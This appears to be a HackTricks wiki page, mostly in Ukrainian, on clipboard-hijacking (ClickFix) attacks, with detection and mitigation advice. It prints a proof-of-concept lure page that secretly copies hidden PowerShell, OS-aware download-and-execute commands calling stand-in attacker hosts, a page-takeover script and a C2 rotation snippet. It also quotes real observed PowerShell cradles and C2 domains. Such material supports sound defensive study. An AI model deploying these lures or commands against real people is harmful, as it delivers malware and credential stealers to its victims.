Clipboard Hijacking (Pastejacking) Attacks
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
“Ніколи не вставляйте нічого, чого ви самі не копіювали.” – стара, але досі дійсна порада
Огляд
Clipboard hijacking – також відомий як pastejacking – зловживає тим, що користувачі рутинно копіюють і вставляють команди без їх перевірки. Зловмисна веб-сторінка (або будь-який контекст із підтримкою JavaScript, наприклад Electron або Desktop application) програмно поміщає текст, контрольований нападником, у system clipboard. Жертви заохочуються, зазвичай ретельно підготовленими інструкціями соціальної інженерії, натиснути Win + R (Run dialog), Win + X (Quick Access / PowerShell), або відкрити термінал і paste вміст clipboard, при цьому негайно виконуючи довільні команди.
Оскільки файл не завантажується і вкладення не відкривається, техніка обходить більшість засобів безпеки електронної пошти та веб-контенту, які моніторять вкладення, макроси або пряме виконання команд. Тому атака популярна в phishing кампаніях, що доставляють комерційні сімейства malware, такі як NetSupport RAT, Latrodectus loader або Lumma Stealer.
Примусові кнопки копіювання та приховані payloads (macOS one-liners)
Деякі macOS infostealers клонують сайти інсталяторів (наприклад, Homebrew) і примушують використовувати кнопку “Copy”, щоб користувачі не могли виділити лише видимий текст. Запис у clipboard містить очікувану команду інсталятора плюс доданий Base64 payload (наприклад, ...; echo <b64> | base64 -d | sh), тому один paste виконує обидва етапи, поки UI приховує додаткову стадію.
JavaScript Proof-of-Concept
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
}
</script>
Старі кампанії використовували document.execCommand('copy'), новіші покладаються на асинхронний Clipboard API (navigator.clipboard.writeText).
The ClickFix / ClearFake Flow
- Користувач відвідує typosquatted або скомпрометований сайт (наприклад
docusign.sa[.]com) - Інжектований JavaScript ClearFake викликає допоміжну функцію
unsecuredCopyToClipboard(), яка безшумно зберігає Base64-encoded PowerShell one-liner у буфері обміну. - HTML-інструкції кажуть жертві: «Натисніть Win + R, вставте команду і натисніть Enter, щоб вирішити проблему.»
powershell.exeзапускається, завантажуючи архів, який містить легітимний виконуваний файл та шкідливу DLL (classic DLL sideloading).- Лоадер розшифровує додаткові стадії, інжектує shellcode та встановлює persistence (наприклад scheduled task) — зрештою запускаючи NetSupport RAT / Latrodectus / Lumma Stealer.
Приклад ланцюга NetSupport RAT
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
jp2launcher.exe(legitimate Java WebStart) шукає у своєму каталозіmsvcp140.dll.- Зловмисний DLL динамічно визначає адреси API за допомогою GetProcAddress, завантажує два бінарні файли (
data_3.bin,data_4.bin) через curl.exe, дешифрує їх, використовуючи rolling XOR key"https://google.com/", впроваджує фінальний shellcode і розпаковує client32.exe (NetSupport RAT) доC:\ProgramData\SecurityCheck_v1\.
Latrodectus Loader
powershell -nop -enc <Base64> # Cloud Identificator: 2031
- Завантажує
la.txtза допомогою curl.exe - Виконує JScript downloader у cscript.exe
- Отримує MSI payload → розміщує
libcef.dllпоруч із підписаною програмою → DLL sideloading → shellcode → Latrodectus.
Lumma Stealer через MSHTA
mshta https://iplogger.co/xxxx =+\\xxx
The mshta call запускає прихований PowerShell-скрипт, який завантажує PartyContinued.exe, витягує Boat.pst (CAB), відтворює AutoIt3.exe за допомогою extrac32 та конкатенації файлів і нарешті запускає .a3x скрипт, який ексфільтрує облікові дані браузера на sumeriavgv.digital.
ClickFix: Clipboard → PowerShell → JS eval → Startup LNK з ротацією C2 (PureHVNC)
Деякі кампанії ClickFix повністю оминають завантаження файлів і наказують жертвам вставити однорядкову команду, яка отримує та виконує JavaScript через WSH, забезпечує персистентність і щоденно змінює C2. Приклад спостереженого ланцюга:
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
Ключові ознаки
- Обфускований URL перевертається під час виконання, щоб ускладнити поверхневу перевірку.
- JavaScript зберігає себе через Startup LNK (WScript/CScript) і обирає C2 за поточним днем — що дозволяє швидку ротацію доменів.
Мінімальний фрагмент JS, що використовується для ротації C2s за датою:
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
Наступний етап зазвичай розгортає loader, який встановлює persistence і завантажує RAT (наприклад, PureHVNC), часто pinning TLS до жорстко закодованого certificate і chunking трафіку.
Detection ideas specific to this variant
- Дерево процесів:
explorer.exe→powershell.exe -c→wscript.exe <temp>\a.js(абоcscript.exe). - Артефакти автозапуску: LNK у
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, що викликає WScript/CScript з JS шляхом під%TEMP%/%APPDATA%. - Реєстр/RunMRU та телеметрія командного рядка, що містять
.split('').reverse().join('')абоeval(a.responseText). - Повторювані
powershell -NoProfile -NonInteractive -Command -з великими stdin payloads для передачі довгих скриптів без довгих командних рядків. - Заплановані завдання, які згодом виконують LOLBins, такі як
regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"під задачею/шляхом, що виглядає як оновлювач (наприклад,\GoogleSystem\GoogleUpdater).
Threat hunting
- Щоденно-обертаючіся C2 hostnames і URLs з шаблоном
.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>. - Корелюйте події запису в clipboard, за якими слідує вставка Win+R і негайне виконання
powershell.exe.
Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:
- Реєстр Windows:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRUзберігає історію Win + R команд – шукати незвичні Base64 / обфусковані записи. - Security Event ID 4688 (Process Creation), коли
ParentImage==explorer.exeіNewProcessNameналежить {powershell.exe,wscript.exe,mshta.exe,curl.exe,cmd.exe}. - Event ID 4663 для створень файлів під
%LocalAppData%\Microsoft\Windows\WinX\або у тимчасових папках безпосередньо перед підозрілою подією 4688. - EDR clipboard sensors (якщо присутні) – корелюйте
Clipboard Write, за яким одразу слідує новий процес PowerShell.
IUAM-style verification pages (ClickFix Generator): clipboard copy-to-console + OS-aware payloads
Нещодавні кампанії масово створюють підробні CDN/browser verification pages (“Just a moment…”, IUAM-style), які змушують користувачів копіювати OS-специфічні команди з їхнього clipboard у нативні консолі. Це дозволяє виконання поза браузерним sandbox і працює як у Windows, так і в macOS.
Key traits of the builder-generated pages
- Визначення OS через
navigator.userAgentдля підгонки payloads (Windows PowerShell/CMD vs. macOS Terminal). Опціональні приманки/no-ops для непідтримуваних ОС, щоб зберегти ілюзію. - Автоматичне копіювання в clipboard при благовидних UI-діях (checkbox/Copy), тоді як видимий текст може відрізнятися від вмісту clipboard.
- Блокування мобільних пристроїв та поповер із покроковими інструкціями: Windows → Win+R→paste→Enter; macOS → open Terminal→paste→Enter.
- Опціональна обфускація та single-file injector для перезапису DOM скомпрометованого сайту Tailwind-styled verification UI (не вимагається реєстрація нового домену).
Example: clipboard mismatch + OS-aware branching
<div class="space-y-2">
<label class="inline-flex items-center space-x-2">
<input id="chk" type="checkbox" class="accent-blue-600"> <span>I am human</span>
</label>
<div id="tip" class="text-xs text-gray-500">If the copy fails, click the checkbox again.</div>
</div>
<script>
const ua = navigator.userAgent;
const isWin = ua.includes('Windows');
const isMac = /Mac|Macintosh|Mac OS X/.test(ua);
const psWin = `powershell -nop -w hidden -c "iwr -useb https://example[.]com/cv.bat|iex"`;
const shMac = `nohup bash -lc 'curl -fsSL https://example[.]com/p | base64 -d | bash' >/dev/null 2>&1 &`;
const shown = 'copy this: echo ok'; // benign-looking string on screen
const real = isWin ? psWin : (isMac ? shMac : 'echo ok');
function copyReal() {
// UI shows a harmless string, but clipboard gets the real command
navigator.clipboard.writeText(real).then(()=>{
document.getElementById('tip').textContent = 'Now press Win+R (or open Terminal on macOS), paste and hit Enter.';
});
}
document.getElementById('chk').addEventListener('click', copyReal);
</script>
macOS persistence під час початкового запуску
- Використовуйте
nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 &, щоб виконання продовжувалося після закриття терміналу, зменшуючи видимі артефакти.
In-place page takeover on compromised sites
<script>
(async () => {
const html = await (await fetch('https://attacker[.]tld/clickfix.html')).text();
document.documentElement.innerHTML = html; // overwrite DOM
const s = document.createElement('script');
s.src = 'https://cdn.tailwindcss.com'; // apply Tailwind styles
document.head.appendChild(s);
})();
</script>
Detection & hunting ideas specific to IUAM-style lures
- Web: Сторінки, що прив’язують Clipboard API до віджетів верифікації; невідповідність між відображуваним текстом та clipboard payload;
navigator.userAgentbranching; Tailwind + single-page replace у підозрілих контекстах. - Windows endpoint:
explorer.exe→powershell.exe/cmd.exeнезабаром після взаємодії з браузером; batch/MSI installers, виконані з%TEMP%. - macOS endpoint: Terminal/iTerm, що породжують
bash/curl/base64 -dзnohupпоблизу подій браузера; фоні job-и, які виживають після закриття терміналу. - Корелюйте
RunMRU/Win+R історію та clipboard writes з подальшим створенням консольних процесів.
See also for supporting techniques
2026 fake CAPTCHA / ClickFix evolutions (ClearFake, Scarlet Goldfinch)
- ClearFake продовжує компрометувати WordPress сайти та інжектити loader JavaScript, який ланцюжить зовнішні хости (Cloudflare Workers, GitHub/jsDelivr) і навіть blockchain “etherhiding” виклики (наприклад, POSTs до Binance Smart Chain API endpoints таких як
bsc-testnet.drpc[.]org) для підвантаження поточної логіки приманки. Останні оверлеї широко використовують фейкові CAPTCHA, які просять користувачів скопіювати/вставити one-liner (T1204.004) замість завантаження чогось. - Початкове виконання все більше делегується signed script hosts/LOLBAS. Ланцюжки січня 2026 замінили раннє використання
mshtaна вбудованийSyncAppvPublishingServer.vbs, що запускається черезWScript.exe, передаючи PowerShell-like аргументи з aliases/wildcards для отримання віддаленого контенту:
"C:\WINDOWS\System32\WScript.exe" "C:\WINDOWS\system32\SyncAppvPublishingServer.vbs" "n;&(gal i*x)(&(gcm *stM*) 'cdn.jsdelivr[.]net/gh/grading-chatter-dock73/vigilant-bucket-gui/p1lot')"
SyncAppvPublishingServer.vbsпідписаний і зазвичай використовується App-V; у парі зWScript.exeта незвичайними аргументами (gal/gcmaliases, wildcarded cmdlets, jsDelivr URLs) він стає надійним індикатором (high-signal) у ланцюжку LOLBAS для ClearFake.- У лютому 2026 року підроблені CAPTCHA payloads повернулися до чистих PowerShell download cradles. Два реальних приклади:
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -c iex(irm 158.94.209[.]33 -UseBasicParsing)
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h -c "$w=New-Object -ComObject WinHttp.WinHttpRequest.5.1;$w.Open('GET','https[:]//cdn[.]jsdelivr[.]net/gh/www1day7/msdn/fase32',0);$w.Send();$f=$env:TEMP+'\FVL.ps1';$w.ResponseText>$f;powershell -w h -ep bypass -f $f"
- Перший ланцюг — in-memory
iex(irm ...)grabber; другий виконує стадії черезWinHttp.WinHttpRequest.5.1, записує тимчасовий.ps1, а потім запускає з-ep bypassу прихованому вікні.
Поради з виявлення/полювання для цих варіантів
- Process lineage: браузер →
explorer.exe→wscript.exe ...SyncAppvPublishingServer.vbsабо PowerShell cradles одразу після записів у буфер обміну/натискання Win+R. - Command-line keywords:
SyncAppvPublishingServer.vbs,WinHttp.WinHttpRequest.5.1,-UseBasicParsing,%TEMP%\FVL.ps1, jsDelivr/GitHub/Cloudflare Worker domains, або raw IPiex(irm ...)patterns. - Network: вихідні з’єднання до CDN worker hosts або blockchain RPC endpoints від script hosts/PowerShell незабаром після веб-перегляду.
- File/registry: тимчасове створення
.ps1під%TEMP%плюс RunMRU записи, що містять ці one-liners; блокувати/генерувати alert на signed-script LOLBAS (WScript/cscript/mshta), що виконується з external URLs або обфускованими alias-рядками.
Пом’якшення
- Програми/браузери — жорстке налаштування браузера: відключити доступ до запису в буфер обміну (
dom.events.asyncClipboard.clipboardItemтощо) або вимагати user gesture. - Security awareness — навчити користувачів вводити чутливі команди вручну або спочатку вставляти їх у текстовий редактор.
- PowerShell Constrained Language Mode / Execution Policy + Application Control для блокування довільних one-liners.
- Network controls — блокувати вихідні запити до відомих pastejacking та malware C2 доменів.
Пов’язані трюки
- Discord Invite Hijacking часто зловживає тим самим підходом ClickFix після заманювання користувачів у шкідливий сервер:
Джерела
- Fix the Click: Preventing the ClickFix Attack Vector
- Pastejacking PoC – GitHub
- Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder
- The ClickFix Factory: First Exposure of IUAM ClickFix Generator
- 2025, the year of the Infostealer
- Red Canary – Intelligence Insights: February 2026
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


